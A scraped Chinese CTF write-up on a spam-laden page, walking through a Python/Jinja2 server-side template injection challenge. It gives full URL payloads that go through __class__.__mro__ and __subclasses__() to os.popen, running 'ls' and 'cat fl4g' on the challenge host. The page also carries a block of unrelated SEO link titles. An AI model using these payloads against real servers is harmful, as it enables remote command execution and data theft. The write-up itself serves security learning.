当前位置: 首页 > news >正文

有没有专门做二手的网站百度站长之家工具

有没有专门做二手的网站,百度站长之家工具,企业网站做优化,网站建设需要注意哪些细节1.【攻防世界】Web_python_template_injection {{}}是变量包裹标识符,里面存放的是一个变量,当你输入 http://61.147.171.105:55121/{{8*8}} 执行成功,说明存在模版注入。接下来,开始想办法编代码拿到服务器的控制台权限 。 首先…

1.【攻防世界】Web_python_template_injection

{{}}是变量包裹标识符,里面存放的是一个变量,当你输入

http://61.147.171.105:55121/{{8*8}}

执行成功,说明存在模版注入。接下来,开始想办法编代码拿到服务器的控制台权限 。

首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思考怎样用 python 语句获取控制台权限:

知识点

python调用Shell脚本,有两种方法:os.system() 和 os.popen()
前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容,以 file 形式返回。

所以选择 `os.popen` 。

http://61.147.171.105:55121/{{''.__class__}}

 知识点

__class__:获取到当前实例对应的类

python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新式类实例,比如 '' ,一个空字符串,就是一个新式类实例,所以 ''.__class__ 就可以获取到实例对应的类.

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>

告诉我们这个变量的类是 'str' 。

接下来,从这个类找到它的基类:

http://61.147.171.105:55121/{{''.__class__.__mro__}}

知识点

__mro__:获取当前类对象的所有继承类(子类)

从结果中可以发现 '' 对应的类对象 str 继承的顺序是 basestring->object。

然后,通过基类来找其中任意一个基类的引用列表:

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()}}

知识点

__subclasses__():查看当前类的子类 

`__mro__[ ]` 中括号里填谁其实区别都不大,这些基类引用的东西都一样的。

找到我们想要的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位, 即 `__subclasses__()[71]` 。

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

这里的 `popen('ls').read()` 意思是得到 ls 的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上 . 

联系题目,明显的是后端有一个flag文件需要open,然后print出来,或者使用命令行cat 查看。

从这里我们看到,flag 存在一个叫 `fl4g` 的无后缀文件里,再构造一个 payload,用 `cat` 读取内容:

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

SSTI模板注入总结-CSDN博客 

http://www.tj-hxxt.cn/news/58567.html

相关文章:

  • 郑州市建设厅网站网页推广怎么收取费用
  • python 网站开发杭州seo推广排名稳定
  • 免费的行情网站app代码百度推广介绍
  • 二手域名交易平台南京seo优化培训
  • 网站打开慢原因东莞百度快速排名优化
  • wordpress 豆瓣主题昆明百度推广优化
  • 昆明中小企业网站建设发稿服务
  • 重庆中小企业建站价格西昌seo快速排名
  • 微网站如何做微信支付宝支付网络服务器图片
  • 学做花蛤的网站bing搜索引擎入口官网
  • 网站建设公司做ppt吗网站优化推广是什么
  • 我想看b站直播间9幺seo 360
  • 网页客服软件惠州seo优化
  • 潘家园做网站的公司百度免费安装下载
  • 在阿里巴巴网站上怎么做贸易黑帽seo技术培训
  • wordpress后台登陆地址修改科学新概念seo外链
  • 网站制作计划百度搜索引擎的特点
  • it外包风险百度seo关键词排名优化软件
  • 中小型网站建设方案百度热门搜索排行榜
  • 做网站专业服务网站注册域名
  • anything popup wordpress 插件怎么使用seo关键词排名优化价格
  • 网站开发 东莞如何做一个自己的网站
  • 商城网站建设定制如何创建网页链接
  • 做网站的优势百度网站安全检测
  • 做网站需要流程郑州模板网站建设
  • 企业门户网站怎么做sem竞价培训班
  • seo网站推广怎样优化大师在哪里
  • 网站建站报价单seo推广主要做什么的
  • 泸州网站建设百度公司地址
  • 京东电子商务网站的建设网络营销策略分析